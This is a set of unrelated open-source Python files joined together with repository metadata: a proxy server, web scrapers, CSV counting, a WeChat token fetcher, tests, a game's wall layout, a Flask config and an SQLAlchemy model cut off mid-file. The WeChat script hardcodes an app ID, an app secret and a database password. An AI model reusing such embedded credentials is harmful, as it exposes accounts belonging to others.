self.wfile.write(status.encode('ascii') + b'\r\n')
hlist = []
for line in response.msg.headers: # Fixed multiple values of a same name
if 'TRANSFER-ENCODING' not in line.upper():
hlist.append(line)
self.wfile.write("".join(hlist) + b'\r\n')
if self.command == "CONNECT": # NO HTTPS, as Chrome DCP does not allow HTTPS traffic
return
else:
while True:
response_data = response.read(BufferSize)
if not response_data: break
self.wfile.write(response_data)
do_POST = do_GET = do_CONNECT = sogouProxy
class ThreadingHTTPServer(ThreadingMixIn, HTTPServer):
address_family = socket.AF_INET6
if __name__=='__main__':
global server_ip, server_port
parser = argparse.ArgumentParser()
parser.add_argument('-p', '--port', default=8080)
parser.add_argument('-m', '--mode', default= 'HTTPS')
parser.add_argument('-i', '--ip', default= '')
args = vars(parser.parse_args())
PROXY_MODE = args['mode'].upper() if str(args['mode']).upper() == 'HTTP' or str(args['mode']).upper() == 'HTTPS' else check_if_ssl()
server_ip, server_port = str(args['ip']), int(args['port'])
server_address = (server_ip, server_port)
server = ThreadingHTTPServer(server_address, Handler)
if not server_ip:
server_ip = '127.0.0.1'
proxy_host = "proxy.googlezip.net:443" if PROXY_MODE == 'HTTPS' else "compress.googlezip.net:80"
print('Proxy over %s.\nPlease set your browser\'s proxy to %s.' % (proxy_host, server_address))
print('Or use PAC file: http://chrome_dcp_proxy_pac.cnbeining.com/1.pac')
try:
server.serve_forever()
except:
os._exit(1)
|
power12317/Chrome-Data-Compression-Proxy-Standalone-Python
|
google.py
|
Python
|
gpl-2.0
| 6,470
|
# -*- coding: utf-8 -*-
'''
Created on Jul 04, 2016
Modified on Aug 05, 2016
Version 0.01.b
@author: rainier.madruga@gmail.com
A simple Python Program to scrape the ESPN FC website for content.
### =========================================================================================== ###
### Change & Revision Log ###
### Date Dev Change Description ###
### =========================================================================================== ###
2016-07Jul-04 RWN Initial Creation of the file to parse out league information and
teams from the BBC site.
2016-08Aug-05 RWM Updating to cycle through the various leagues and create them in the
soccer database
'''
# Import Libraries needed for Scraping the various web pages
from bs4 import BeautifulSoup
import collections
import pprint
import datetime
import requests
import openpyxl
import os
import platform
import sys
import mysql.connector
# Establish the process Date & Time Stamp
ts = datetime.datetime.now().strftime("%H:%M:%S")
ds = datetime.datetime.now().strftime("%Y-%m-%d")
date = datetime.datetime.now().strftime("%Y%m%d")
# Updates the Time Stamp
def updateTS():
update = datetime.datetime.now().strftime("%H:%M:%S:%f")[:-3]
return update
# Establish MySQL Connection
cnx = mysql.connector.connect(user='root', password='password',
host='127.0.0.1',
database='leagues ',
use_pure=False)
# Download Image
def downloadImage(imageURL, localFileName):
response = requests.get(imageURL)
if response.status_code == 200:
print ('Downloading %s...' % (localFileName))
with open(localFileName, 'wb') as fo:
for chunk in response.iter_content(4096):
fo.write(chunk)
return True
# Program Version & System Variables
parse = '0.01.a'
parseVersion = 'BBC Football League Parser ' + parse
print (ds + ' :: ' + ts + ' :: ' + parseVersion)
print ('Python Version :: ' + sys.version)
# Screen Output Dividers used for readability
hr = " >>> *** ====================================================== *** <<<"
shr = " >>> *** ==================== *** <<<"
# Establish Base URL and parse for menu links
baseURL = "http://www.bbc.com/sport/football"
leagueURL = "http://www.bbc.com/sport/football/leagues-competitions"
base = "http://www.bbc.com"
print (hr)
getLeagues = requests.get(leagueURL)
getLeagues.raise_for_status()
leagueSoup = BeautifulSoup(getLeagues.text, "html.parser")
leagueList = leagueSoup.find("div", {"class": "stats leagues-competitions"})
listOfLeagues = leagueList.find_all("ul")
leagueDct = {'name' : [],
'url' : []}
for i in listOfLeagues:
# print (i)
lists = i
listElements = lists.find_all("li")
for i in listElements:
# print (i)
leagueName = i.get_text(strip=True)
leagueURL = i.find("a")
leagueURL = leagueURL['href']
# print (leagueName, '::',leagueURL)
leagueDct['name'].append(leagueName)
leagueDct['url'].append(leagueURL)
# print (shr)
# print (hr)
# pprint.pprint(leagueDct)
# Function to receive a Text Date (i.e., Saturday 16th August 2014) and return 2014-08-16
def textDate(x):
stringDate = x
dayOfWeek = stringDate[0:3]
length = len(stringDate)
output = ''
dateSpace = stringDate.find(" ")
# print dateSpace
year = stringDate[length-4:length]
monthDay = stringDate[dateSpace+1:length-4]
monthSpace = monthDay.find(" ")
# print monthSpace
day = monthDay[0:monthSpace-2]
if int(day) < 10:
day = '0' + str(day)
month = monthDay[monthSpace+1:len(monthDay)-1]
month = returnMonth(month)
output = year + '' + month + '' + day
return output
# Function to return a two digit month for a literal Month (i.e., change "August" to "08").
def returnMonth(x):
inputMonth = x
inputMonth = inputMonth[0:3]
outputMonth = ''
# print inputMonth
if inputMonth == 'Aug':
outputMonth = '08'
elif inputMonth == 'Sep':
outputMonth = '09'
elif inputMonth == 'Oct':
outputMonth = '10'
elif inputMonth == 'Nov':
outputMonth = '11'
elif inputMonth == 'Dec':
outputMonth = '12'
elif inputMonth == 'Jan':
outputMonth = '01'
elif inputMonth == 'Feb':
outputMonth = '02'
elif inputMonth == 'Mar':
outputMonth = '03'
elif inputMonth == 'Apr':
outputMonth = '04'
elif inputMonth == 'May':
outputMonth = '05'
elif inputMonth == 'Jun':
outputMonth = '06'
elif inputMonth == 'Jul':
outputMonth = '07'
else:
print ('EXCEPTION: Invalid Month sent to Function.')
outputMonth = '99'
return outputMonth
# Parse out Fixtures
def parseFixtures(leagueLink):
leagueParse = base + leagueLink + '/fixtures'
if ((leagueParse != 'http://www.bbc.com/sport/football/world-cup/2014/fixtures') or (leagueParse != 'http://www.bbc.com/sport/football/european-championship/2012/fixtures') or (leagueParse != 'http://www.bbc.com/sport/football/africa-cup-of-nations/fixtures')):
# Parse out URLs for each leagues' fixtures
getLeagueParse = requests.get(leagueParse)
getLeagueParse.raise_for_status()
parseSoup = BeautifulSoup(getLeagueParse.text, "html.parser")
parseContent = parseSoup.find("div", {"id": "blq-content"})
parseBody = parseContent.find("div", {"class": "stats-body"})
blockContent = parseBody.find("div", {"class": "fixtures-table full-table-medium"})
tableDates = blockContent.find_all ("h2")
# Print Output for Testing
print (blockContent)
print (shr)
print (leagueParse)
print (shr)
else:
print (leagueParse)
print (hr)
# Create
maxLen = 22
count = 0
while count < maxLen:
parseFixtures(leagueDct['url'][count])
count += 1
|
rainier-m/python-soccer
|
parseBBC-Leagues.py
|
Python
|
gpl-2.0
| 6,099
|
#csv module.
import csv
from geopy import geocoders
from collections import defaultdict
import json
def checkgeocode(geocode):
#return len(geocode)
if len(geocode) < 9:
return "0"+str(geocode)
else:
return geocode
with open('casualty.csv', 'rb') as f:
reader = csv.reader(f)
codelist = dict()
for row in reader:
codelist[row[3]] = row[5]
#print codelist
print codelist
for k,v in codelist.iteritems():
print k,v
writer = csv.writer(open("geocodes.csv", 'wb+'))
for k,v in codelist.iteritems():
writer.writerow([k ,v])
with open('dead.csv', 'rb') as f:
reader = csv.reader(f)
counts = defaultdict(int)
for row in reader:
counts[row[3]] += 1
for k,v in counts.iteritems():
print k,v
writer = csv.writer(open("deadcounts.csv", 'wb+'))
for k,v in counts.iteritems():
gcode = str(checkgeocode(codelist[k]))
writer.writerow([k ,v, gcode])
print counts
json.dump(counts, open('dead.counts.json', 'w'))
with open('missing.csv', 'rb') as f:
reader = csv.reader(f)
counts = defaultdict(int)
for row in reader:
counts[row[3]] += 1
for k,v in counts.iteritems():
print k,v
writer = csv.writer(open("missingcounts.csv", 'wb+'))
for k,v in counts.iteritems():
writer.writerow([k ,v,codelist[k]])
print counts
json.dump(counts, open('dead.counts.json', 'w'))
with open('injured.csv', 'rb') as f:
reader = csv.reader(f)
counts = defaultdict(int)
for row in reader:
counts[row[3]] += 1
for k,v in counts.iteritems():
print k,v
writer = csv.writer(open("injuredcounts.csv", 'wb+'))
for k,v in counts.iteritems():
writer.writerow([k ,v,codelist[k]])
print counts
json.dump(counts, open('dead.counts.json', 'w'))
#g = geocoders.GoogleV3()
#place, (lat, lng) = g.geocode(row[3])
#print "%s: %.5f, %.5f" % (place, lat, lng)
|
rukku/casualty-geocoder
|
alpha.py
|
Python
|
gpl-2.0
| 1,956
|
# -*- coding: utf-8 -*-
__author__ = 'lxr0827'
import pymysql,requests,json
import datetime
#定时运行该脚本获取accesstoken,记录到accesstoken module里
#test
APPID = "wx243dd553e7ab9da7"
SECRET = "57f109fd1cce0913a76a1700f94c4e2d"
AccessTokenURL = 'https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=' + APPID + '&secret=' + SECRET
r = requests.get(AccessTokenURL)
if (r.status_code == requests.codes.ok): # @UndefinedVariable
res = json.loads(r.text)
if res.get('errcode') == None:
accessToken = res['access_token']
conn = pymysql.connect(host='localhost', user='root', passwd='5817802', db='wechatorderdb', port=3306, charset='utf8')
cur = conn.cursor()
nowTime = datetime.datetime.now().strftime("%y-%m-%d %H:%M:%S")
count = cur.execute("select * from WeInterc_accesstoken limit 0,1")
if count == 0:
insertStr = "insert into WeInterc_accesstoken values(1,'%s','%s')" % (accessToken,nowTime)
print(insertStr)
cur.execute(insertStr)
conn.commit()
cur.close()
conn.close()
else:
result = cur.fetchone()
updateStr = "update WeInterc_accesstoken set accessToken = '%s',getTokenTime = '%s'where id = 1" % (accessToken, nowTime)
print(updateStr)
cur.execute(updateStr)
conn.commit()
cur.close()
conn.close()
|
lxr0827/weChatOrder
|
weChatOrder/WeInterc/get_access_token.py
|
Python
|
gpl-2.0
| 1,465
|
from collections import defaultdict
class Solution:
def longestDecomposition(self, text: str) -> int:
num = 0
L = len(text)
l, r = 0, L - 1
mp1 = defaultdict(int)
mp2 = defaultdict(int)
while l < r:
mp1[text[l]] += 1
mp2[text[r]] += 1
if mp1 == mp2:
num += 2
mp1 = defaultdict(int)
mp2 = defaultdict(int)
l += 1
r -= 1
if not mp1 and not mp2 and l > r:
pass
else:
num += 1
return num
if __name__ == '__main__':
assert Solution().longestDecomposition("ghiabcdefhelloadamhelloabcdefghi") == 7
assert Solution().longestDecomposition("merchant") == 1
assert Solution().longestDecomposition("antaprezatepzapreanta") == 11
assert Solution().longestDecomposition("aaa") == 3
|
lmmsoft/LeetCode
|
LeetCode-Algorithm/1147. Longest Chunked Palindrome Decomposition/1147.py
|
Python
|
gpl-2.0
| 896
|
#encoding=utf-8
#------------------------------------------------------------------
# File Name: crawler_wikipedia_v0.py
# Author: yy
# Mail: RNHisnothuman@gmail.com
# Date: 2014年02月12日 星期三 15时15分24秒
#-------------------------------------------------------------------
import time
import sys
import string
import urllib2
import re
import types
from bs4 import BeautifulSoup
import xml.etree.cElementTree as ET
class crawler_wikipedia:
# the start url:
startUrl = u''
# the prefix of wikipedia api string
apiPrefix = u'http://zh.wikipedia.org/w/api.php?action=query&prop=extracts&exintro&pageids='
# the surfix of wikipedia api string
apiSurfix = u'&format=xml'
# the name of mean file
MeanFileName = r'wiki.txt'
# the name of error pageids list file
ErrorListFileName = r'wiki_error.txt'
#------------------------------------------------------------
# function: get_content_helper(self,apistr)
# description: deduce the page type by content string
#
# parameter:
# self:
# apistr: string.
#
# return:
# string
#------------------------------------------------------------
def get_content_helper(self,apistr):
return u'tset the function.'
#------------------------------------------------------------
# function: get_content_by_api(self,apistr)
# description: get content by wikipedia api
#
# parameter:
# self:
# apistr: string.
#
# return:
# string
#------------------------------------------------------------
def get_content_by_api(self,apistr):
pagecontent = urllib2.urlopen(apistr).read()
bs = BeautifulSoup(str(pagecontent))
content = bs.find('page')
if None == content:
print apistr + u' is empty!!'
return None
else:
flag_title = False
for attribute in content.attrs:
if attribute == u'title':
flag_title = True
if flag_title:
print apistr + u' has content!!'
contentStr = self.get_content_helper(apistr)
return contentStr
else:
return None
#------------------------------------------------------------
#
#------------------------------------------------------------
def main(self):
#change the default code type of sys
reload(sys)
sys.setdefaultencoding('utf-8')
#init the pageid
count = 121213#a exsit word
#get the handle of output file
outputfile = open(self.__class__.MeanFileName,'a+')
#write the working time into file
beginStr = 'begin time:\n' + time.asctime() + u'\n'
outputfile.write(beginStr)
#while(count < 2):
# #generate url
# countstr = str(count)
# currentApiStr = self.__class__.apiPrefix + countstr + self.__class__.apiSurfix
# #test if have an exception
# req = urllib2.Request(currentApiStr)
# try:
# urllib2.urlopen(req)
# except urllib2.URLError,e:
# count += 1
# print e.reason
# continue
# #get content by apistr
# content = self.get_content_by_api(currentApiStr)
# print currentApiStr
# print u' '
# print content
# print u'-----------------------------------------------------'
# count += 1
# print count
countstr = str(count)
currentApiStr = self.__class__.apiPrefix + countstr + self.__class__.apiSurfix
content = self.get_content_by_api(currentApiStr)
print content
endStr = 'end time:\n' + time.asctime() + u'\n'
outputfile.write(endStr)
print currentApiStr
print u'the main function is finished!!'
outputfile.close()
#----------------------------------------------------------------
#
# program entrance
#
#----------------------------------------------------------------
print """
-----------------------------------------------------------------
a crawler on wikipedia
-----------------------------------------------------------------
content is in file:
wiki.txt
the program is working......
"""
mycrawler = crawler_wikipedia()
mycrawler.main()
|
ReiMaster/WordsCrawler
|
crawler_wikipedia.py
|
Python
|
gpl-2.0
| 4,044
|
def get_timestamp():
import time
return int(time.time())
def load_name_map(map_file_path):
from os.path import isfile
import ConfigParser
config = ConfigParser.RawConfigParser()
config.read(map_file_path)
if not config.has_section("effort"):
raise Exception("Missing effort in {0}".format(map_file_path))
retval = {}
for options in config.items("effort"):
retval[options[0]] = options[1]
return retval
|
kd0kfo/timeclock
|
timeclock/__init__.py
|
Python
|
gpl-2.0
| 464
|
import os
import sys
if sys.version_info[:2] == (2, 6):
import unittest2 as unittest
else:
import unittest
from avocado.utils import process
basedir = os.path.join(os.path.dirname(os.path.abspath(__file__)), '..', '..')
basedir = os.path.abspath(basedir)
class StandaloneTests(unittest.TestCase):
def setUp(self):
self.original_pypath = os.environ.get('PYTHONPATH')
if self.original_pypath is not None:
os.environ['PYTHONPATH'] = '%s:%s' % (basedir, self.original_pypath)
else:
os.environ['PYTHONPATH'] = '%s' % basedir
def run_and_check(self, cmd_line, expected_rc, tstname):
os.chdir(basedir)
result = process.run(cmd_line, ignore_status=True)
self.assertEqual(result.exit_status, expected_rc,
"Stand alone %s did not return rc "
"%d:\n%s" % (tstname, expected_rc, result))
return result
def test_passtest(self):
cmd_line = './examples/tests/passtest.py -r'
expected_rc = 0
self.run_and_check(cmd_line, expected_rc, 'passtest')
def test_warntest(self):
cmd_line = './examples/tests/warntest.py -r'
expected_rc = 0
self.run_and_check(cmd_line, expected_rc, 'warntest')
def test_failtest(self):
cmd_line = './examples/tests/failtest.py -r'
expected_rc = 1
self.run_and_check(cmd_line, expected_rc, 'failtest')
def test_failtest_nasty(self):
cmd_line = './examples/tests/failtest_nasty.py -r'
expected_rc = 1
result = self.run_and_check(cmd_line, expected_rc, 'failtest_nasty')
exc = "NastyException: Nasty-string-like-exception"
count = result.stdout.count("\n%s" % exc)
self.assertEqual(count, 2, "Exception \\n%s should be present twice in"
"the log (once from the log, second time when parsing"
"exception details." % (exc))
def test_failtest_nasty2(self):
cmd_line = './examples/tests/failtest_nasty2.py -r'
expected_rc = 1
result = self.run_and_check(cmd_line, expected_rc, 'failtest_nasty2')
self.assertIn("Exception: Unable to get exception, check the traceback"
" for details.", result.stdout)
def test_errortest(self):
cmd_line = './examples/tests/errortest.py -r'
expected_rc = 1
self.run_and_check(cmd_line, expected_rc, 'errortest')
if __name__ == '__main__':
unittest.main()
|
Hao-Liu/avocado
|
selftests/functional/test_standalone.py
|
Python
|
gpl-2.0
| 2,525
|
# -*- coding: utf-8 -*-
"""Module for running microtests on how well the extraction works -
this module is STANDALONE safe"""
import ConfigParser
import glob
import traceback
import codecs
import bibclassify_config as bconfig
import bibclassify_engine as engine
log = bconfig.get_logger("bibclassify.microtest")
def run(glob_patterns,
verbose=20,
plevel = 1
):
"""Execute microtests"""
if verbose is not None:
log.setLevel(int(verbose))
results = {}
for pattern in glob_patterns:
log.info("Looking for microtests: %s" % pattern)
for cfgfile in glob.glob(pattern):
log.debug("processing: %s" % (cfgfile))
try:
test_cases = load_microtest_definition(cfgfile)
run_microtest_suite(test_cases, results=results, plevel=plevel)
except Exception, msg:
log.error('Error running microtest: %s' % cfgfile)
log.error(msg)
log.error(traceback.format_exc())
summarize_results(results, plevel)
def run_microtest_suite(test_cases, results={}, plevel=1):
"""Runs all tests from the test_case
@var test_cases: microtest definitions
@keyword results: dict, where results are cummulated
@keyword plevel: int [0..1], performance level, results
below the plevel are considered unsuccessful
@return: nothing
"""
config = {}
if 'config' in test_cases:
config = test_cases['config']
del(test_cases['config'])
if 'taxonomy' not in config:
config['taxonomy'] = ['HEP']
for test_name in sorted(test_cases.keys()):
test = test_cases[test_name]
try:
log.debug('section: %s' % test_name)
phrase = test['phrase'][0]
(skw, ckw, akw, acr) = engine.get_keywords_from_text(test['phrase'], config['taxonomy'][0], output_mode="raw")
details = analyze_results(test, (skw, ckw) )
if details["plevel"] < plevel:
log.error("\n" + format_test_case(test))
log.error("results\n" + format_details(details))
else:
log.info("Success for section: %s" % (test_name))
log.info("\n" + format_test_case(test))
if plevel != 1:
log.info("results\n" + format_details(details))
results.setdefault(test_name, [])
results[test_name].append(details)
except Exception, msg:
log.error('Operational error executing section: %s' % test_name)
#log.error(msg)
log.error(traceback.format_exc())
def summarize_results(results, plevel):
total = 0
success = 0
for k,v in results.items():
total += len(v)
success += len(filter(lambda x: x["plevel"] >= plevel, v))
log.info("Total number of micro-tests run: %s" % total)
log.info("Success/failure: %d/%d" % (success, total-success))
def format_details(details):
plevel = details["plevel"]
details["plevel"] = [plevel]
out = format_test_case(details)
details["plevel"] = plevel
return out
def format_test_case(test_case):
padding = 13
keys = ["phrase", "expected", "unwanted"]
out = ["" for x in range(len(keys))]
out2 = []
for key in test_case.keys():
phrase = "\n".join(map(lambda x: (" " * (padding + 1) ) + str(x), test_case[key]))
if key in keys:
out[keys.index(key)] = "%s=%s" % (key.rjust(padding-1), phrase[padding:])
else:
out2.append("%s=%s" % (key.rjust(padding-1), phrase[padding:]))
if filter(len, out) and filter(len, out2):
return "%s\n%s" % ("\n".join(filter(len, out)), "\n".join(out2))
else:
return "%s%s" % ("\n".join(filter(len, out)), "\n".join(out2))
def analyze_results(test_case, results):
skw = results[0]
ckw = results[1]
details = {"correct" : [], "incorrect": [],
"plevel" : 0}
responses_total = len(skw) + len(ckw)
expected_total = len(test_case["expected"])
correct_responses = 0
incorrect_responses = 0
for result_set in (skw, ckw):
for r in result_set:
try:
val = r[0].output()
except:
val = r.output()
if r in test_case["expected"]:
correct_responses += 1
details["correct"].append(val)
else:
incorrect_responses += 1
details["incorrect"].append(val)
details["plevel"] = ((responses_total + expected_total) - incorrect_responses) / (responses_total + expected_total)
return details
def load_microtest_definition(cfgfile, **kwargs):
"""Loads data from the microtest definition file
{
section-1:
phrase: [ some-string]
expected: [some, string]
unwanted: [some-string]
section-2:
.....
}
"""
config = {}
cfg = ConfigParser.ConfigParser()
fo = codecs.open(cfgfile, 'r', 'utf-8')
cfg.readfp(fo, filename=cfgfile)
for s in cfg.sections():
if s in config:
log.error('two sections with the same name')
config[s] = {}
for k, v in cfg.items(s):
if "\n" in v:
v = filter(len, v.splitlines())
else:
v = [v.strip()]
if k not in config[s]:
config[s][k] = []
config[s][k] += v
fo.close()
return config
if __name__ == "__main__":
import os, sys
test_paths = []
if len(sys.argv) > 1 and sys.argv[1] == "demo":
test_paths.append(os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(__file__)),
"bibclassify/microtest*.cfg")))
test_paths.append(os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(__file__)),
"../../../etc/bibclassify/microtest*.cfg")))
run(test_paths)
elif (len(sys.argv) > 1):
for p in sys.argv[1:]:
if p[0] == os.path.sep: # absolute path
test_paths.append(p)
else: # try to detect if we shall prepend rootdir
first = p.split(os.path.sep)[0]
if os.path.exists(first): #probably relative path
test_paths.append(p)
elif (os.path.join(bconfig.CFG_PREFIX, first)): #relative to root
test_paths.append(os.path.join(bconfig.CFG_PREFIX, p))
log.warning('Resolving relative path %s -> %s' % (p, test_paths[-1]))
else:
raise Exception ('Please check the glob pattern: %s\n\
it seems to be a relative path, but not relative to the script, nor to the invenio rootdir' % p)
run(test_paths)
else:
print 'Usage: %s glob_pattern [glob_pattern...]\nExample: %s %s/etc/bibclassify/microtest*.cfg' % (sys.argv[0],
sys.argv[0],
bconfig.CFG_PREFIX,
)
|
pombredanne/invenio-old
|
modules/bibclassify/lib/bibclassify_microtests.py
|
Python
|
gpl-2.0
| 7,289
|
from PyQt4 import QtGui, QtCore
class Walls(QtGui.QGraphicsPixmapItem):
def __init__(self, name):
super(Walls, self).__init__()
self.setPixmap(QtGui.QPixmap(name))
def create_walls():
obstacles = []
wall1 = Walls("./resources/images/obstacle1.png")
wall1.setPos(175, 102)
wall2 = Walls("./resources/images/obstacle1.png")
wall2.setPos(175, 295)
wall3 = Walls("./resources/images/obstacle1.png")
wall3.setPos(175, 391)
wall4 = Walls("./resources/images/obstacle2.png")
wall4.setPos(267, 100)
wall5 = Walls("./resources/images/obstacle2.png")
wall5.rotate(180)
wall5.setPos(202, 221)
wall6 = Walls("./resources/images/obstacle3.png")
wall6.setPos(45, 388)
wall7 = Walls("./resources/images/obstacle4.png")
wall7.setPos(265, 384)
wall8 = Walls("./resources/images/obstacle5.png")
wall8.setPos(361, 338)
wall9 = Walls("./resources/images/obstacle6.png")
wall9.setPos(45, 336)
wall10 = Walls("./resources/images/obstacle7.png")
wall10.setPos(272, 343)
wall11 = Walls("./resources/images/obstacle7.png")
wall11.setPos(128, 343)
wall12 = Walls("./resources/images/obstacle8.png")
wall12.setPos(128, 38)
wall13 = Walls("./resources/images/obstacle8.png")
wall13.setPos(272, 38)
wall14 = Walls("./resources/images/obstacle9.png")
wall14.setPos(368, 102)
wall15 = Walls("./resources/images/obstacle9.png")
wall15.setPos(48, 102)
wall16 = Walls("./resources/images/obstacle10.png")
wall16.setPos(48, 38)
wall17 = Walls("./resources/images/obstacle10.png")
wall17.setPos(368, 38)
wall18 = Walls("./resources/images/obstacle11.png")
wall18.setPos(0, 0)
wall19 = Walls("./resources/images/obstacle12.png")
wall19.setPos(0, 245)
obstacles.extend([wall1, wall2, wall3, wall4, wall5, wall6, wall7,
wall8, wall9, wall10, wall11, wall12, wall13,
wall14, wall15, wall16, wall17, wall18, wall19])
return obstacles
def taken():
matrix = []
new = []
for i in range(470):
for j in range(500):
new.append(False)
matrix.append(new)
new = []
for x in range(470):
for y in range(500):
matrix[x][y] = False
for x in range(155, 293):
for y in range(178, 268):
matrix[x][y] = True
for x in range(189, 259):
for y in range(213, 232):
matrix[x][y] = False
for x in range(28, 100):
for y in range(19, 75):
matrix[x][y] = True
for x in range(108, 197):
for y in range(19, 75):
matrix[x][y] = True
for x in range(205, 245):
for y in range(12, 75):
matrix[x][y] = True
for x in range(251, 340):
for y in range(19, 75):
matrix[x][y] = True
for x in range(348, 420):
for y in range(19, 75):
matrix[x][y] = True
for x in range(28, 100):
for y in range(83, 124):
matrix[x][y] = True
for x in range(107, 148):
for y in range(83, 220):
matrix[x][y] = True
for x in range(130, 197):
for y in range(130, 171):
matrix[x][y] = True
for x in range(155, 292):
for y in range(83, 124):
matrix[x][y] = True
for x in range(204, 245):
for y in range(104, 172):
matrix[x][y] = True
for x in range(299, 341):
for y in range(83, 220):
matrix[x][y] = True
for x in range(251, 318):
for y in range(130, 173):
matrix[x][y] = True
for x in range(348, 420):
for y in range(83, 124):
matrix[x][y] = True
for x in range(22, 100):
for y in range(127, 220):
matrix[x][y] = True
for x in range(424, 369):
for y in range(127, 220):
matrix[x][y] = True
for x in range(22, 100):
for y in range(226, 318):
matrix[x][y] = True
for x in range(356, 446):
for y in range(227, 318):
matrix[x][y] = True
for x in range(107, 149):
for y in range(227, 316):
matrix[x][y] = True
for x in range(299, 341):
for y in range(227, 316):
matrix[x][y] = True
for x in range(156, 292):
for y in range(274, 316):
matrix[x][y] = True
for x in range(203, 244):
for y in range(295, 363):
matrix[x][y] = True
for x in range(28, 101):
for y in range(323, 364):
matrix[x][y] = True
for x in range(59, 100):
for y in range(344, 412):
matrix[x][y] = True
for x in range(108, 196):
for y in range(323, 363):
matrix[x][y] = True
for x in range(252, 340):
for y in range(323, 363):
matrix[x][y] = True
for x in range(348, 420):
for y in range(323, 363):
matrix[x][y] = True
for x in range(349, 390):
for y in range(345, 412):
matrix[x][y] = True
for x in range(21, 51):
for y in range(368, 412):
matrix[x][y] = True
for x in range(157, 292):
for y in range(371, 411):
matrix[x][y] = True
for x in range(205, 244):
for y in range(392, 459):
matrix[x][y] = True
for x in range(107, 149):
for y in range(372, 437):
matrix[x][y] = True
for x in range(28, 196):
for y in range(418, 458):
matrix[x][y] = True
for x in range(253, 420):
for y in range(418, 460):
matrix[x][y] = True
for x in range(299, 343):
for y in range(372, 437):
matrix[x][y] = True
for x in range(348, 460):
for y in range(132, 220):
matrix[x][y] = True
for x in range(21):
for y in range(500):
matrix[x][y] = True
for x in range(431, 470):
for y in range(500):
matrix[x][y] = True
for x in range(470):
for y in range(13):
matrix[x][y] = True
for x in range(470):
for y in range(466, 500):
matrix[x][y] = True
for x in range(397, 446):
for y in range(371, 412):
matrix[x][y] = True
return matrix
taken_by_walls = taken()
|
VickyTerzieva/Pacman
|
code/walls.py
|
Python
|
gpl-2.0
| 6,373
|
import os
BASEDIR = os.path.abspath(os.path.dirname(__file__))
DEBUG = False
##
# Database settings
##
DB_HOST = 'localhost'
DB_NAME = 'scoremodel'
DB_USER = 'scoremodel'
DB_PASS = 'scoremodel'
##
# MySQL SSL connections
##
use_ssl = False
SSL_CA = '/etc/mysql/certs/ca-cert.pem'
SSL_KEY = '/etc/mysql/keys/client-key.pem'
SSL_CERT = '/etc/mysql/certs/client-cert.pem'
##
# Flask-WTF
##
WTF_CSRF_ENABLED = True
SECRET_KEY = 'secret_key'
##
# Log-in
##
REMEMBER_COOKIE_SECURE = True
REMEMBER_COOKIE_HTTPONLY = True
SESSION_PROTECTION = "strong"
##
# Babel
##
BABEL_DEFAULT_LOCALE = 'en'
BABEL_DEFAULT_TIMEZONE = 'UTC'
LANGUAGES = ['nl', 'en']
##
# Uploads
##
UPLOAD_FOLDER = 'uploads'
ALLOWED_EXTENSIONS = ('txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif')
MAX_CONTENT_LENGTH = 16 * 1024 * 1024 # 16 MB
##
# Logger
##
LOG_FILENAME = 'logs/scoremodel.log'
if use_ssl is True:
SQLALCHEMY_DATABASE_URI = 'mysql+mysqlconnector://{user}:{passw}@{host}/{db}?ssl_key={ssl_key}&ssl_cert={ssl_cert}'.format(
user=DB_USER, passw=DB_PASS,
host=DB_HOST, db=DB_NAME, ssl_key=SSL_KEY, ssl_cert=SSL_CERT)
else:
SQLALCHEMY_DATABASE_URI = 'mysql+mysqlconnector://{user}:{passw}@{host}/{db}'.format(user=DB_USER, passw=DB_PASS,
host=DB_HOST, db=DB_NAME)
|
PACKED-vzw/scoremodel
|
example_config.py
|
Python
|
gpl-2.0
| 1,348
|
from chronotope.model.base import PublicationWorkflowBehavior
from chronotope.model.base import SQLBase
from chronotope.model.category import CategoryRecord
from chronotope.model.location import LocationRecord
from chronotope.utils import ensure_uuid
from chronotope.utils import html_index_transform
from cone.app.model import Metadata
from cone.app.model import Properties
from cone.app.model import node_info
from cone.sql import get_session
from cone.sql import metadata
from cone.sql.model import GUID
from cone.sql.model import SQLRowNode
from cone.sql.model import SQLTableNode
from node.utils import instance_property
from plumber import plumbing
from pyramid.i18n import TranslationStringFactory
from sqlalchemy import Column
from sqlalchemy import DateTime
from sqlalchemy import ForeignKey
from sqlalchemy import String
from sqlalchemy import Table
from sqlalchemy.orm import relationship
_ = TranslationStringFactory('chronotope')
facility_location_references = Table(
'facility_location_references',
metadata,
Column('facility_uid', GUID, ForeignKey('facility.uid')),
Column('location_uid', GUID, ForeignKey('location.uid'))
)
facility_category_references = Table(
'facility_category_references',
metadata,
Column('facility_uid', GUID, ForeignKey('facility.uid')),
Column('category_uid', GUID, ForeignKey('category.uid'))
)
class FacilityRecord(SQLBase):
__tablename__ = 'facility'
__index_attrs__ = ['title', 'description']
__index_transforms__ = {
'description': html_index_transform,
}
uid = Column(GUID, primary_key=True)
submitter = Column(String)
creator = Column(String)
created = Column(DateTime)
modified = Column(DateTime)
state = Column(String)
title = Column(String)
description = Column(String)
exists_from = Column(String)
exists_to = Column(String)
category = relationship(
CategoryRecord,
secondary=facility_category_references,
backref='facility')
location = relationship(
LocationRecord,
secondary=facility_location_references,
backref='facility')
def facility_by_uid(request, uid):
session = get_session(request)
return session.query(FacilityRecord).get(ensure_uuid(uid))
def facilities_by_uid(request, uids):
if not uids:
return list()
uids = [ensure_uuid(uid) for uid in uids]
session = get_session(request)
return session.query(FacilityRecord)\
.filter(FacilityRecord.uid.in_(uids))\
.all()
def search_facilities(request, term, state=[], submitter=None, limit=None):
session = get_session(request)
query = session.query(FacilityRecord)
query = query.filter(FacilityRecord.title.like(u'%{0}%'.format(term)))
if state:
query = query.filter(FacilityRecord.state.in_(state))
if submitter:
query = query.filter(FacilityRecord.submitter == submitter)
query = query.order_by(FacilityRecord.title)
if limit is not None:
query = query.limit(limit)
return query.all()
@node_info(
name='facility',
title=_('facility_label', default='Facility'),
description=_('facility_description', default='A Facility'),
icon='glyphicon glyphicon-home')
@plumbing(PublicationWorkflowBehavior)
class Facility(SQLRowNode):
record_class = FacilityRecord
@instance_property
def properties(self):
props = super(Facility, self).properties
props.action_up = True
props.action_up_tile = 'listing'
props.action_view = True
props.action_edit = True
props.action_delete = True
return props
@property
def metadata(self):
md = Metadata()
md.title = self.attrs['title']
md.description = self.attrs['description']
md.creator = self.attrs['creator']
md.created = self.attrs['created']
md.modified = self.attrs['modified']
return md
@node_info(
name='facilities',
title=_('facilities_label', default='Facilities'),
description=_(
'facilities_description',
